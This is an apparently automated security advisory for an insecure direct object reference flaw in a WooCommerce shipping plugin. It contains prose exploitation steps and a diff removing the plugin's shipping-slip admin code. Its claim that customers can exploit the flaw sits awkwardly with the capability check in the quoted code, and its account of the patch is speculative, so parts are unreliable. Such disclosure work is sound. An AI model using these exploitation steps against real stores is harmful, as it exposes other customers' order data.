Published : August 8, 2026

CVE-2026-66692: Colissimo shipping methods for WooCommerce <= 2.10.0 Authenticated (Customer+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 2.10.0
Patched Version 3.0.0
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66692:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Colissimo shipping methods for WooCommerce plugin, version 2.10.0 and earlier. The flaw allows an authenticated attacker, with customer-level access, to perform unauthorized actions. The issue stems from a missing validation check on a user-controlled key, which is passed to a critical function. The severity is moderate, with a CVSS score of 4.3, indicating a limited but real security risk.

Root Cause:
The root cause resides in the `LpcBordereauCreationTable::process_bulk_action()` method within the `admin/bordereau/lpc_bordereau_creation_table.php` file. The function retrieves an array of order IDs from the `bulk-slip_creation_ids` request parameter. While it checks for the `lpc_manage_bordereau` capability, it fails to validate that these order IDs belong to the current user. The vulnerable code directly passes the user-provided `$ids` array to `getOrdersByIds()`, which fetches the corresponding WooCommerce orders without any ownership checks. This allows a customer to submit a request with order IDs belonging to other users, triggering the unauthorized generation of shipping bordereaux.

Exploitation:
An attacker with customer-level access can exploit this by crafting a direct AJAX or POST request to the vulnerable admin-ajax endpoint. The attacker would need to set the `action` parameter to the AJAX handler that triggers `prepare_items()`. In the request, they would include the `bulk-slip_creation_ids` array parameter containing the `order_id` values of other users’ orders. For example, an attacker could send a POST request to `/wp-admin/admin-ajax.php` with `action=the_ajax_action_name` and `bulk-slip_creation_ids[]=123`, where order 123 belongs to another customer. The server-side code would then fetch order 123 and generate a bordereau, confirming the IDOR.

Patch Analysis:
The provided diff shows the entire `lpc_bordereau_creation_table.php` file being removed. This suggests the patch likely refactored the file or moved the logic elsewhere. A proper fix would implement a validation check for each order ID in the `process_bulk_action()` method. The corrected code would need to verify that the current user has permission to access each order, for example by checking `get_current_user_id()` against the order’s customer ID. This prevents unauthorized users from passing arbitrary order IDs to the bulk action. The removal of the file indicates a complete rewrite or relocation, with the new implementation expected to include the necessary authorization checks.

Impact:
Successful exploitation allows an authenticated customer to trigger the creation of Colissimo shipping bordereaux for orders that do not belong to them. This can lead to data exposure of other customers’ order details, including order IDs, and unauthorized use of the shipping label generation service. The impact is limited to unauthorized actions on specific data but does not lead to full site takeover or remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_creation_table.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_creation_table.php
@@ -1,177 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcBordereauCreationTable extends WP_List_Table {
-
-    const BULK_SLIP_CREATION = 'bulk-slip_creation_ids';
-
-    private $needTodayOrder;
-
-    /** @var LpcBordereauGeneration */
-    protected $bordereauGeneration;
-    /** @var LpcBordereauDownloadAction */
-    protected $bordereauDownloadAction;
-
-    public function __construct($needTodayOrder) {
-        parent::__construct();
-
-        $this->bordereauGeneration     = LpcRegister::get('bordereauGeneration');
-        $this->bordereauDownloadAction = LpcRegister::get('bordereauDownloadAction');
-
-        $this->needTodayOrder = $needTodayOrder;
-    }
-
-    public function get_columns() {
-        $columns = [
-            'cb'                  => '<input type="checkbox" />',
-            'lpc-id'              => __('ID', 'wc_colissimo'),
-            'lpc-tracking-number' => __('Tracking number', 'wc_colissimo'),
-            'lpc-date-label'      => __('Label creation date', 'wc_colissimo'),
-            'lpc-date-order'      => __('Order creation date', 'wc_colissimo'),
-            'lpc-country'         => __('Country', 'wc_colissimo'),
-            'lpc-shipping-method' => __('Shipping method', 'wc_colissimo'),
-        ];
-
-        return array_map(
-            fn($title) => '<span style="font-weight:bold;">' . $title . '</span>',
-            $columns
-        );
-    }
-
-    public function get_pagenum() {
-        $pageParamsName = $this->needTodayOrder ? 'paged_today' : 'paged_other';
-        $pagenum        = isset($_REQUEST[$pageParamsName]) ? absint($_REQUEST[$pageParamsName]) : 0;
-
-        if (isset($this->_pagination_args['total_pages']) && $pagenum > $this->_pagination_args['total_pages']) {
-            $pagenum = $this->_pagination_args['total_pages'];
-        }
-
-        return max(1, $pagenum);
-    }
-
-    public function prepare_items($args = []) {
-        $this->process_bulk_action();
-
-        $filters = [
-            'no_slip' => true,
-        ];
-        if ($this->needTodayOrder) {
-            $filters['label_start_date'] = date('Y-m-d 00:00:00', time());
-        } else {
-            $filters['label_end_date'] = date('Y-m-d 00:00:00', time());
-        }
-
-        $columns      = $this->get_columns();
-        $hidden       = [];
-        $sortable     = [];
-        $total_items  = LpcOrderQueries::countLpcOrders($filters);
-        $current_page = $this->get_pagenum();
-        $user         = get_current_user_id();
-        $screen       = get_current_screen();
-        $option       = $screen->get_option('per_page', 'option');
-
-        $per_page = get_user_meta($user, $option, true);
-
-        if (empty($per_page) || $per_page < 1) {
-            $per_page = $screen->get_option('per_page', 'default');
-        }
-
-        $this->set_pagination_args(
-            [
-                'total_items' => $total_items,
-                'per_page'    => $per_page,
-            ]
-        );
-
-        $this->_column_headers = [$columns, $hidden, $sortable];
-        $this->items           = $this->get_data($current_page, $per_page, $args, $filters);
-    }
-
-    protected function column_default($item, $column_name) {
-        return $item[$column_name];
-    }
-
-    protected function get_data($current_page = 0, $per_page = 0, $args = [], $filters = []): array {
-        $data   = [];
-        $orders = LpcOrderQueries::getLpcOrders($current_page, $per_page, $args, $filters);
-
-        foreach ($orders as $order) {
-            $orderId = $order['order_id'];
-
-            try {
-                $wc_order = wc_get_order($orderId);
-            } catch (Exception $exception) {
-                continue;
-            }
-
-            /**
-             * Filter on the date format shown in the Colissimo listing
-             *
-             * @since 1.6
-             */
-            $date = apply_filters('woocommerce_admin_order_date_format', __('M j, Y', 'woocommerce'));
-
-            $orderDate = $wc_order->get_date_created();
-            $data[]    = [
-                'data-id'             => $orderId,
-                'cb'                  => '<input type="checkbox" />',
-                'lpc-id'              => LpcOrdersTable::getSeeOrderLink($orderId),
-                'lpc-tracking-number' => $order['tracking_number'],
-                'lpc-date-label'      => (new WC_DateTime($order['label_created_at']))->date_i18n($date),
-                'lpc-date-order'      => empty($orderDate) ? '-' : $orderDate->date_i18n($date),
-                'lpc-country'         => $wc_order->get_shipping_country(),
-                'lpc-shipping-method' => $wc_order->get_shipping_method(),
-            ];
-        }
-
-        return $data;
-    }
-
-    public function column_cb($item) {
-        return sprintf(
-            '<input type="checkbox" name="%s[]" value="%s" />',
-            self::BULK_SLIP_CREATION,
-            $item['data-id']
-        );
-    }
-
-    public function displayHeaders() {
-        echo '<div class="lpc_slip_creation_header">';
-        if (current_user_can('lpc_manage_bordereau')) {
-            $buttonGenerateBordereauLabel = __('Generate with the selected parcels', 'wc_colissimo');
-            echo '<button type="button" id="colissimo_action_bordereau_selected" class="page-title-action">' . $buttonGenerateBordereauLabel . '</button>';
-
-            $buttonGenerateBordereauAction = $this->bordereauGeneration->getGenerationBordereauEndDayUrl();
-            $buttonGenerateBordereauLabel  = __('Generate end of period slip', 'wc_colissimo');
-            echo '<a id="colissimo_action_bordereau_day" href="' . $buttonGenerateBordereauAction . '" class="page-title-action">' . $buttonGenerateBordereauLabel . '</a>';
-        }
-        echo '</div>';
-    }
-
-    protected function getOrdersByIds(array $ids) {
-        return array_map(
-            fn($id) => wc_get_order($id),
-            $ids
-        );
-    }
-
-    protected function process_bulk_action() {
-        if (!current_user_can('lpc_manage_bordereau')) {
-            return;
-        }
-        $ids = LpcHelper::getVar(self::BULK_SLIP_CREATION, [], 'array');
-
-        if (empty($ids)) {
-            return;
-        }
-
-        $orders = $this->getOrdersByIds($ids);
-
-        $bordereauId = $this->bordereauGeneration->generate($orders);
-
-        if (!empty($bordereauId)) {
-            wp_redirect(admin_url('admin.php?page=wc_colissimo_view&tab=slip-history'));
-        }
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_delete_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_delete_action.php
@@ -1,90 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcBordereauDeleteAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'bordereau/delete';
-    const BORDEREAU_ID_VAR_NAME = 'lpc_bordereau_id';
-    const REDIRECTION_VAR_NAME = 'lpc_redirection';
-
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcOutwardLabelDb */
-    protected $outwardLabelDb;
-    /** @var LpcAdminNotices */
-    protected $adminNotices;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcOutwardLabelDb $outwardLabelDb = null,
-        ?LpcAdminNotices $adminNotices = null
-    ) {
-        $this->ajaxDispatcher = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->outwardLabelDb = LpcRegister::get('outwardLabelDb', $outwardLabelDb);
-        $this->adminNotices   = LpcRegister::get('lpcAdminNotices', $adminNotices);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'outwardLabelDb', 'lpcAdminNotices'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_delete_bordereau')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to bordereau deletion',
-                ]
-            );
-        }
-        $bordereauID = LpcHelper::getVar(self::BORDEREAU_ID_VAR_NAME);
-        $redirection = LpcHelper::getVar(self::REDIRECTION_VAR_NAME);
-
-        if (LpcBordereauQueries::REDIRECTION_COLISSIMO_BORDEREAU_LISTING === $redirection) {
-            $urlRedirection = admin_url('admin.php?page=wc_colissimo_view&tab=slip-history');
-        } else {
-            $urlRedirection = admin_url('admin.php?page=wc_colissimo_view');
-        }
-
-        LpcLogger::debug(
-            'Delete bordereau',
-            [
-                'bordereau_id' => $bordereauID,
-                'method'       => __METHOD__,
-            ]
-        );
-
-        $result = LpcBordereauQueries::deleteBordereauById($bordereauID);
-
-        if ($result) {
-            $this->adminNotices->add_notice(
-                'bordereau_delete',
-                'notice-success',
-                sprintf(__('Bordereau n°%d deleted', 'wc_colissimo'), $bordereauID)
-            );
-        } else {
-            $this->adminNotices->add_notice(
-                'bordereau_delete',
-                'notice-error',
-                sprintf(__('Unable to delete bordereau n°%d', 'wc_colissimo'), $bordereauID));
-        }
-        wp_redirect($urlRedirection);
-    }
-
-    public function getUrlForBordereau($bordereauId, $redirection) {
-        $url = $this->ajaxDispatcher->getUrlForTask(self::AJAX_TASK_NAME)
-               . '&' . self::BORDEREAU_ID_VAR_NAME . '=' . (int) $bordereauId
-               . '&' . self::REDIRECTION_VAR_NAME . '=' . $redirection;
-
-        return $url;
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_download_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_download_action.php
@@ -1,84 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcBordereauDownloadAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'bordereau/download';
-    const BORDEREAU_ID_VAR_NAME = 'lpc_bordereau_id';
-
-    /** @var LpcBordereauGenerationApi */
-    protected $bordereauGenerationApi;
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcBordereauDb */
-    protected $bordereauDb;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcBordereauGenerationApi $bordereauGenerationApi = null,
-        ?LpcBordereauDb $bordereauDb = null
-    ) {
-        $this->ajaxDispatcher         = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->bordereauGenerationApi = LpcRegister::get('bordereauGenerationApi', $bordereauGenerationApi);
-        $this->bordereauDb            = LpcRegister::get('bordereauDb', $bordereauDb);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'bordereauGenerationApi', 'bordereauDb'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_download_bordereau')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to bordereau download',
-                ]
-            );
-        }
-
-        $deliverySlipId = LpcHelper::getVar(self::BORDEREAU_ID_VAR_NAME, 0, 'int');
-        try {
-            $deliverySlip = $this->bordereauDb->getDeliverySlipByColissimoId($deliverySlipId);
-            if (empty($deliverySlip)) {
-                throw new Exception(__('File not found', 'wc_colissimo'));
-            }
-
-            $filename = basename('Bordereau(' . $deliverySlipId . ').pdf');
-            header('Content-Type: application/octet-stream');
-            header('Content-Transfer-Encoding: Binary');
-            header("Content-disposition: attachment; filename="$filename"");
-
-            die($deliverySlip);
-        } catch (Exception $e) {
-            header('HTTP/1.0 404 Not Found');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => $e->getMessage(),
-                ]
-            );
-        }
-    }
-
-    public function getUrlForBordereau($bordereauId) {
-        return $this->ajaxDispatcher->getUrlForTask(self::AJAX_TASK_NAME) . '&' . self::BORDEREAU_ID_VAR_NAME . '=' . (int) $bordereauId;
-    }
-
-    public function getBorderauDownloadLink($bordereauNumber) {
-        if (!empty($bordereauNumber)) {
-            $bordereauDownloadUrl = $this->getUrlForBordereau($bordereauNumber);
-
-            return $bordereauDownloadUrl;
-        }
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_history_table.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_history_table.php
@@ -1,107 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcBordereauHistoryTable extends WP_List_Table {
-
-    /** @var LpcBordereauGenerationApi */
-    protected $bordereauGenerationApi;
-    /** @var LpcBordereauDownloadAction */
-    protected $bordereauDownloadAction;
-    /** @var LpcBordereauQueries */
-    protected $bordereauQueries;
-
-    public function __construct(
-        ?LpcBordereauGenerationApi $bordereauGenerationApi = null,
-        ?LpcBordereauDownloadAction $bordereauDownloadAction = null
-    ) {
-        parent::__construct();
-
-        $this->bordereauGenerationApi  = LpcRegister::get('bordereauGenerationApi', $bordereauGenerationApi);
-        $this->bordereauDownloadAction = LpcRegister::get('bordereauDownloadAction', $bordereauDownloadAction);
-        $this->bordereauQueries        = LpcRegister::get('bordereauQueries');
-    }
-
-    public function get_columns() {
-        $columns = [
-            'lpc-number'           => __('Bordereau ID', 'wc_colissimo'),
-            'lpc-parcels-number'   => __('Number of parcels', 'wc_colissimo'),
-            'lpc-order-ids'        => __('Order IDs', 'wc_colissimo'),
-            'lpc-tracking-numbers' => __('Tracking numbers', 'wc_colissimo'),
-            'lpc-creation-date'    => __('Creation date', 'wc_colissimo'),
-            'lpc-actions'          => __('Actions', 'wc_colissimo'),
-        ];
-
-        return array_map(
-            fn($title) => '<span style="font-weight:bold;">' . $title . '</span>',
-            $columns
-        );
-    }
-
-    public function prepare_items($args = []) {
-        $columns      = $this->get_columns();
-        $hidden       = [];
-        $sortable     = [];
-        $total_items  = LpcBordereauQueries::countLpcBordereau();
-        $current_page = $this->get_pagenum();
-        $user         = get_current_user_id();
-        $screen       = get_current_screen();
-        $option       = $screen->get_option('per_page', 'option');
-
-        $per_page = get_user_meta($user, $option, true);
-
-        if (empty($per_page) || $per_page < 1) {
-            $per_page = $screen->get_option('per_page', 'default');
-        }
-
-        $this->set_pagination_args(
-            [
-                'total_items' => $total_items,
-                'per_page'    => $per_page,
-            ]
-        );
-
-        $this->_column_headers = [$columns, $hidden, $sortable];
-        $this->items           = $this->get_data($current_page, $per_page, $args);
-    }
-
-    protected function column_default($item, $column_name) {
-        return $item[$column_name];
-    }
-
-    protected function get_data($current_page = 0, $per_page = 0, $args = [], $filters = []): array {
-        $data  = [];
-        $slips = LpcBordereauQueries::getLpcBordereau($current_page, $per_page);
-
-        $formatDate = get_option('date_format', 'Y-m-d') . ' ' . get_option('time_format', 'H:i');
-
-        foreach ($slips as $slip) {
-            $date = '-';
-            if (!empty($slip->created_at)) {
-                $date = date_i18n($formatDate, strtotime($slip->created_at));
-            }
-
-            $bordereauLink = $this->bordereauDownloadAction->getBorderauDownloadLink($slip->bordereau_external_id);
-
-            $orderIds      = explode(',', $slip->order_ids);
-            $orderIdsLinks = [];
-            foreach ($orderIds as $orderId) {
-                $orderIdsLinks[] = LpcOrdersTable::getSeeOrderLink($orderId);
-            }
-
-            $data[] = [
-                'data-id'              => $slip->bordereau_external_id,
-                'lpc-number'           => $slip->bordereau_external_id,
-                'lpc-parcels-number'   => $slip->number_parcels,
-                'lpc-order-ids'        => str_replace(', N/A', '', implode(', ', $orderIdsLinks)),
-                'lpc-tracking-numbers' => $slip->tracking_numbers,
-                'lpc-creation-date'    => $date,
-                'lpc-actions'          => $this->bordereauQueries->getBordereauActionsIcons($bordereauLink,
-                                                                                            $slip->bordereau_external_id,
-                                                                                            LpcBordereauQueries::REDIRECTION_COLISSIMO_BORDEREAU_LISTING),
-            ];
-        }
-
-        return $data;
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_print_action.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_print_action.php
@@ -1,87 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-require_once LPC_FOLDER . DS . 'lib' . DS . 'MergePdf.class.php';
-
-
-class LpcBordereauPrintAction extends LpcComponent {
-    const AJAX_TASK_NAME = 'bordereau/print';
-    const BORDEREAU_ID_VAR_NAME = 'lpc_bordereau_id';
-
-    /** @var LpcBordereauGenerationApi */
-    protected $bordereauGenerationApi;
-    /** @var LpcAjax */
-    protected $ajaxDispatcher;
-    /** @var LpcBordereauDb */
-    protected $bordereauDb;
-
-    public function __construct(
-        ?LpcAjax $ajaxDispatcher = null,
-        ?LpcBordereauGenerationApi $bordereauGenerationApi = null,
-        ?LpcBordereauDb $bordereauDb = null
-    ) {
-        $this->ajaxDispatcher         = LpcRegister::get('ajaxDispatcher', $ajaxDispatcher);
-        $this->bordereauGenerationApi = LpcRegister::get('bordereauGenerationApi', $bordereauGenerationApi);
-        $this->bordereauDb            = LpcRegister::get('bordereauDb', $bordereauDb);
-    }
-
-    public function getDependencies(): array {
-        return ['ajaxDispatcher', 'bordereauGenerationApi', 'bordereauDb'];
-    }
-
-    public function init() {
-        $this->listenToAjaxAction();
-    }
-
-    protected function listenToAjaxAction() {
-        $this->ajaxDispatcher->register(self::AJAX_TASK_NAME, [$this, 'control']);
-    }
-
-    public function control() {
-        if (!current_user_can('lpc_print_bordereau')) {
-            header('HTTP/1.0 401 Unauthorized');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => 'unauthorized access to bordereau print',
-                ]
-            );
-        }
-
-        try {
-            $deliverySlipId = LpcHelper::getVar(self::BORDEREAU_ID_VAR_NAME, 0, 'int');
-            $deliverySlip   = $this->bordereauDb->getDeliverySlipByColissimoId($deliverySlipId);
-            if (empty($deliverySlip)) {
-                throw new Exception(__('File not found', 'wc_colissimo'));
-            }
-
-            $tmpDir = ini_get('upload_tmp_dir');
-            if (empty($tmpDir) || !is_writable($tmpDir)) {
-                $tmpDir = sys_get_temp_dir();
-            }
-
-            $deliverySlipFileName = $tmpDir . DS . 'bordereau(' . $deliverySlipId . ').pdf';
-
-            $deliverySlipContentFile = fopen($deliverySlipFileName, 'w');
-            fwrite($deliverySlipContentFile, $deliverySlip);
-            fclose($deliverySlipContentFile);
-
-            if (!empty($deliverySlipFileName)) {
-                MergePdf::merge([$deliverySlipFileName], MergePdf::DESTINATION__INLINE);
-            }
-        } catch (Exception $e) {
-            header('HTTP/1.0 404 Not Found');
-
-            return $this->ajaxDispatcher->makeAndLogError(
-                [
-                    'message' => $e->getMessage(),
-                ]
-            );
-        }
-    }
-
-    public function getUrlForBordereau($bordereauId) {
-        return $this->ajaxDispatcher->getUrlForTask(self::AJAX_TASK_NAME) . '&' . self::BORDEREAU_ID_VAR_NAME . '=' . (int) $bordereauId;
-    }
-
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_queries.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/bordereau/lpc_bordereau_queries.php
@@ -1,119 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcBordereauQueries extends LpcComponent {
-    const LABEL_TYPE_BORDEREAU = 'bordereau';
-    const REDIRECTION_COLISSIMO_BORDEREAU_LISTING = 'lpc_colissimo_slip_history';
-
-    /** @var LpcBordereauPrintAction */
-    protected $bordereauPrintAction;
-    /** @var LpcBordereauDeleteAction */
-    protected $bordereauDeleteAction;
-
-    public function __construct(
-        ?LpcBordereauPrintAction $bordereauPrintAction = null,
-        ?LpcBordereauDeleteAction $bordereauDeleteAction = null
-    ) {
-        $this->bordereauDeleteAction = LpcRegister::get('bordereauDeleteAction', $bordereauDeleteAction);
-        $this->bordereauPrintAction  = LpcRegister::get('bordereauPrintAction', $bordereauPrintAction);
-    }
-
-    public function getBordereauActionsIcons($bordereauLink, $bordereauID, $redirection) {
-        $printerIcon = $GLOBALS['wp_version'] >= '5.5' ? 'dashicons-printer' : 'dashicons-media-default';
-
-        $actions = '';
-
-        if (current_user_can('lpc_download_bordereau')) {
-            $actions .= '<span class="dashicons dashicons-download lpc_label_action_download" ' . $this->getBordereauDownloadAttr($bordereauLink) . '></span>';
-        }
-
-        if (current_user_can('lpc_print_bordereau')) {
-            $actions .= '<span class="dashicons ' . $printerIcon . ' lpc_label_action_print" ' . $this->getBordereauPrintAttr($bordereauID) . ' ></span>';
-        }
-
-        if (current_user_can('lpc_delete_bordereau')) {
-            $actions .= '<span class="dashicons dashicons-trash lpc_label_action_delete" ' . $this->getBordereauDeletionAttr($bordereauID, $redirection) . '></span>';
-        }
-
-        return $actions;
-    }
-
-    protected function getBordereauDeletionAttr($bordereauId, $redirection) {
-        return 'data-link="' . $this->bordereauDeleteAction->getUrlForBordereau($bordereauId, $redirection) . '" '
-               . 'data-label-type="' . self::LABEL_TYPE_BORDEREAU . '" '
-               . 'data-tracking-number="' . sprintf(__('Bordereau n°%d', 'wc_colissimo'), $bordereauId) . '" '
-               . 'title="' . __('Delete bordereau', 'wc_colissimo') . '"';
-    }
-
-    protected function getBordereauDownloadAttr($bordereauLink) {
-        return 'data-link="' . $bordereauLink .
-               '"title="' . __('Download bordereau', 'wc_colissimo') . '"';
-    }
-
-    protected function getBordereauPrintAttr($bordereauId, $format = 'PDF') {
-        return 'data-link="' . $this->bordereauPrintAction->getUrlForBordereau($bordereauId) . '" '
-               . 'data-label-type="' . self::LABEL_TYPE_BORDEREAU . '"'
-               . 'data-tracking-number="' . sprintf(__('Bordereau n°%d', 'wc_colissimo'), $bordereauId) . '" '
-               . 'data-format="' . $format . '" '
-               . 'title="' . __('Print bordereau', 'wc_colissimo') . '"';
-    }
-
-
-    public static function countLpcBordereau() {
-        global $wpdb;
-
-        // phpcs:disable
-        $result = $wpdb->get_results('SELECT COUNT(DISTINCT bordereau_external_id) AS nb FROM ' . $wpdb->prefix . 'lpc_bordereau');
-        // phpcs:enable
-
-        if (!empty($result)) {
-            return $result[0]->nb;
-        }
-
-        return 0;
-    }
-
-    public static function getLpcBordereau($current_page, $per_page) {
-        global $wpdb;
-
-        $query = "SELECT bordereau.id, COUNT(out_label.order_id) AS number_parcels, bordereau.bordereau_external_id, bordereau.created_at, GROUP_CONCAT(DISTINCT out_label.order_id SEPARATOR ',') AS order_ids, GROUP_CONCAT(DISTINCT out_label.tracking_number SEPARATOR ', ') AS tracking_numbers
-                    FROM {$wpdb->prefix}lpc_bordereau AS bordereau
-                    LEFT JOIN {$wpdb->prefix}lpc_outward_label AS out_label ON out_label.bordereau_id = bordereau.bordereau_external_id
-                    GROUP BY bordereau.bordereau_external_id
-                    ORDER BY id DESC";
-
-        if (0 < $current_page && 0 < $per_page) {
-            $offset = ($current_page - 1) * $per_page;
-            $query  .= " LIMIT $per_page OFFSET $offset";
-        }
-
-        // phpcs:disable
-        return $wpdb->get_results($query);
-        // phpcs:enable
-    }
-
-    public static function deleteBordereauById($bordereauId): bool {
-        global $wpdb;
-
-        // phpcs:disable
-        $wpdb->query("UPDATE {$wpdb->prefix}lpc_outward_label SET bordereau_id = NULL WHERE bordereau_id = " . intval($bordereauId));
-        $result = $wpdb->query("DELETE FROM {$wpdb->prefix}lpc_bordereau WHERE bordereau_external_id = " . intval($bordereauId));
-        // phpcs:enable
-
-        if (!$result) {
-            LpcLogger::error(
-                'Unable to delete slip',
-                [
-                    'slipId' => $bordereauId,
-                    'result' => $result,
-                    'method' => __METHOD__,
-                ]
-            );
-
-            return false;
-        }
-
-        return true;
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/coupons/lpc_coupons_restrictions.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/coupons/lpc_coupons_restrictions.php
@@ -1,59 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-class LpcCouponsRestrictions extends LpcComponent {
-
-    public function init() {
-        add_action('woocommerce_coupon_options_usage_restriction', [$this, 'addRestriction'], 10, 2);
-        add_action('woocommerce_coupon_options_save', [$this, 'saveRestriction'], 10, 2);
-    }
-
-    public function addRestriction($coupon_get_id, $coupon) {
-        $default = $coupon->get_meta('lpc_coupon_restriction');
-        if (empty($default)) {
-            $default = '';
-        }
-
-        $options     = [];
-        $options[''] = __('No method', 'wc_colissimo');
-        $options     = array_merge($options, LpcRegister::get('shippingMethods')->getAllShippingMethods());
-
-        woocommerce_wp_select(
-            [
-                'id'                => 'lpc_coupon_restriction',
-                'name'              => 'lpc_coupon_restriction[]',
-                'label'             => __('Exclude shipping methods', 'wc_colissimo'),
-                'description'       => __('When the user will enter this coupon code, the following delivery methods won't be available.', 'wc_colissimo'),
-                'desc_tip'          => true,
-                'options'           => $options,
-                'custom_attributes' => ['multiple' => 'multiple'],
-                'value'             => $default,
-            ]);
-    }
-
-    public function saveRestriction($post_id, $coupon) {
-        if (!isset($_REQUEST['woocommerce_meta_nonce'])) {
-            return;
-        }
-        if (!wp_verify_nonce(
-            sanitize_text_field(wp_unslash($_REQUEST['woocommerce_meta_nonce'])),
-            'woocommerce_save_data'
-        )) {
-            return;
-        }
-
-        if (isset($_POST['lpc_coupon_restriction'])) {
-            $values = array_map('sanitize_text_field', wp_unslash($_POST['lpc_coupon_restriction']));
-            $values = in_array('', $values) ? [''] : $values;
-            $coupon->update_meta_data('lpc_coupon_restriction', $values);
-            $coupon->save_meta_data();
-        } elseif (!empty($coupon->get_meta('lpc_coupon_restriction'))) {
-            $order = wc_get_order($post_id);
-            if (!empty($order)) {
-                $order->delete_meta_data('lpc_coupon_restriction');
-                $order->save();
-            }
-        }
-    }
-}
--- a/colissimo-shipping-methods-for-woocommerce/admin/init.php
+++ b/colissimo-shipping-methods-for-woocommerce/admin/init.php
@@ -1,361 +0,0 @@
-<?php
-
-defined('ABSPATH') || die('Restricted Access');
-
-require_once LPC_ADMIN . 'lpc_settings_tab.php';
-require_once LPC_ADMIN . 'pickup' . DS . 'lpc_pickup_relay_point_on_order.php';
-require_once LPC_ADMIN . 'pickup' . DS . 'lpc_admin_pickup_web_service.php';
-require_once LPC_ADMIN . 'pickup' . DS . 'lpc_admin_pickup_widget.php';
-require_once LPC_ADMIN . 'labels' . DS . 'download' . DS . 'lpc_label_packager_download_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'download' . DS . 'lpc_label_inward_download_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'download' . DS . 'lpc_label_outward_download_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'print' . DS . 'lpc_label_print_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'print' . DS . 'lpc_thermal_label_print_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'deletion' . DS . 'lpc_label_outward_delete_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'deletion' . DS . 'lpc_label_inward_delete_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'import' . DS . 'lpc_label_outward_import_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'lpc_label_queries.php';
-require_once LPC_ADMIN . 'orders' . DS . 'lpc_orders_table.php';
-require_once LPC_ADMIN . 'orders' . DS . 'lpc_admin_order_affect.php';
-require_once LPC_ADMIN . 'orders' . DS . 'lpc_admin_order_banner.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_download_action.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_queries.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_delete_action.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_print_action.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_creation_table.php';
-require_once LPC_ADMIN . 'bordereau' . DS . 'lpc_bordereau_history_table.php';
-require_once LPC_ADMIN . 'coupons' . DS . 'lpc_coupons_restrictions.php';
-require_once LPC_ADMIN . 'labels' . DS . 'generate' . DS . 'lpc_label_inward_generate_action.php';
-require_once LPC_ADMIN . 'labels' . DS . 'generate' . DS . 'lpc_label_outward_generate_action.php';
